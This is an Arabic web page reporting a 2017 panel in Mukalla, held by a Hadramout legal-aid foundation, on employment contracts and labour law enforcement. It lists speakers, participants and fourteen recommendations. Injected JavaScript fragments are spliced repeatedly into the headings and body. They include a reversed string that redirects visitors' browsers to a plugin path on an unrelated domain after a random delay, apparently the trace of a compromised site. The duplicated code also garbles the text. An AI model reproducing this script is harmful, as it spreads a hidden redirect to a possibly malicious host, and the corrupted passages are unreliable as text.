عقود العمل بين الواقع وتطبيق القانون

عقود العمل بين الواقع وتطبيق القانون

حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

تمهيدtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}:
حرصاً من مؤسسة حضرموت للدعم القانوني والتدريب على تقديم الدعم القانوني لأهم القضايا المجتمعية ونشر الوعي القانوني بشأنها تنفيذاً لأهدافها أدرج موضوع حلقة النقاش(عقود العمل بين الواقع وتطبيق القانون) ضمن خطة المؤسسة للأنشطة المقرر تنفيذها خلال العام الأول لتأسيسها استشعاراً من المؤسسة بأهمية الموضوع كونها تتعلق بشريحة واسعة من المجتمع ينظمها القانون ويوفر لها الحماية القانونية كونها تتعلق بمصالح خاصة وتنعكس آثار هذه العلاقة على الظروف الاجتماعية والاقتصادية للمجتمع.
إقرار مقترح حلقة النقاش:tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
 وضع رئيس المؤسسة محاور حلقة النقاش وتم تشكيل فريق العمل الإداري لتنفيذها.
 محاور حلقة النقاش تم تنفيذها ووضعها على النحو الآتي:-

المحور الأول: (دور مكتب وزارة الشؤون الاجتماعية والعمل في الرقابة على تطبيق القانون) وتم تقديم ورقة العمل الخاصة بهذا المحور ممثل عن مكتب وزارة الشؤون الاجتماعية والعمل بساحل حضرموت الأستاذ/ عبدالله رمضان.


المحور الثاني: (العلاقة التعاقدية بين أرباب الاعمال والعمال الالتزامات والحقوق) وتم تقديم ورقة العمل الخاصة بهذا المحور ممثل عن غرفة صناعة وتجارة حضرموت الأستاذ/ مجدي مبارك أبو عابس.

المحور الثالث: (عقود العمل بين الواقع وتطبيق القانون) وتم تقديم ورقة العمل الخاصة بهذا المحور ممثل عن الاتحاد العام لنقابات عمال حضرموت الأستاذ/ علي عبدالله الحبشي.


مداخلة مع الأستاذ /فياض فرج باعامر مدير مكتب وزارة الشؤون الاجتماعية والعمل ساحل حضرموت


اختيار المشاركين:tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
تم اختيار المشاركين في حلقة النقاش من الجهات والاشخاص ممن هم على ارتباط بموضوع حلقة النقاش
فوقع الاختيار على:
1) مكتب وزارة الشؤون الاجتماعية والعمل ساحل حضرموت.
2) مكتب وزارة التعليم الفني والتدريب المهني.
3) مكتب وزارة الصناعة والتجارة.
4) المحاميون.
5) الاعلاميون.
6) اعضاء الهيئة التدريسية بكلية القانون.
7) الخريجين من كليات الحقوق والقانون.
8) اللجنة الوطنية للمرأة.
9) اتحاد نساء اليمن.

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}حلقة نقاش عقود العمل بين الواقع وتطبيق القانون

انعقاد حلقة النقاش:tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
بعد استكمال تحضيرات تنفيذ حلقة النقاش وتحديد إدارتها وسكرتاريتها وتحديد مكان انعقادها واحتياجات التنفيذ تم عقدها في يوم الخميس 5 اكتوبر 2017م الساعة التاسعة صباحاً في مدينة المكلا.
قسمت حلقة النقاش إلى ثلاث فترات جرى في الفترة الاولى تقديم أوراق عمل المحاور من قبل مقدميها.
وفي الفترة الثانية فتح باب النقاش مع الحاضرين المشاركين في الحلقة وتلقي اسئلتهم واستفساراتهم والرد عليها من قبل مقدمي أوراق عمل المحاور.


وفي الفترة الثالثة أعطيت الفرصة لسكرتارية الحلقة لإعداد توصيات الحلقة واكتفى الحاضرين بترشيح اربعة أشخاص للجلوس مع السكرتارية ومراجعة التوصيات.
اُختتمت حلقة النقاش من قبل إدارة الحلقة.

توصيات حلقة النقاش:tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

1) تطبيق قانون العمل فيما يتعلق بإبرام عقود العمل بين العمال وأرباب الأعمال على أن تتوفر في هذه العقود الشروط المحددة في القانون ويتضمن كافة التزامات كل من الطرفين تجاه الآخر وكذلك الحقوق المترتبة لكلاً منهما مع مراعاة الاتفاقيات الدولية المتعلقة بالعمل.
2) تمكين العمال من الحصول على وثائق عقد العمل وإيداع نسخة منه لدى مكتب الوزارة المختص.
3) تشكيل اللجان النقابية في مواقع العمل وتفعيل دورها كجهة ممثلة عن العمال وفق القوانين واللوائح المعمول بها.
4) تفعيل دور الجهات المختصة في الإشراف والرقابة على الموضوعات المتعلقة بعقود العمل في المواقع التي تقع تحت اختصاصها وتخض لإشرافها.
5) تفعيل دور مكتب الوزارة المختص للنظر في الشكاوي والتظلمات المتعلقة بعقود العمل والبت فيها.
6) تطبيق العقوبات المنصوص عليها قانوناً في من تسول له نفسه بمخالفة قانون العمل.
7) إعادة تفعيل مهام اللجنة التحكيمية للفصل في قضايا العمال بشكل مستعجل والتنفيذ المعجّل لأحكامها وقراراتها والتنسيق مع جهات الاختصاص لذلك.
8) تشكيل مجلس عمل يحدد الحد الأدنى للأجور ومعادلتها بالمؤهلات العلمية.

9) إلزام أرباب الأعمال بإعداد لائحة توصيف وظيفي لموقع العمل يتضمن طبيعة العمل (الوظيفة) والأجر المقابل لها.
10) تثقيف طرفي العقد (العمال وأرباب الأعمال) بالحقوق والالتزامات وأهمية التنظيم القانوني للعقود مما يساهم في خلق توازن للعلاقة التعاقدية.
11) التوصية بتشكيل لجنة من مكتب وزارة الشؤون الاجتماعية والعمل ومكتب وزارة الخدمة المدنية والاتحاد العام لنقابات عمال حضرموت لدراسة أوضاع المتعاقدين في القطاعين العام والخاص ووضع نماذج نمطية لعقود العمل في القطاعين مع الأخذ بعين الاعتبار خصوصية كل قطاع.
12) التوصية بمعالجة أوضاع المتعاقدين لدى المؤسسات ومكاتب الوزارات الحكومية سواء كان من حيث تطبيق قاعدة الحد الأدنى للأجور أو استكمال إجراءات تثبيت وتوظيف المتعاقدين.
13) التوصية بتشكيل شعبة عمالية ابتدائية في المحاكم تختص بالنظر في قضايا العمال.
14) التوصية بتشكيل لجنة من المختصين تكلف بدراسة الأوضاع الراهنة ومقارنتها بالقانون والخروج بتوصيات تعديلات في القانون.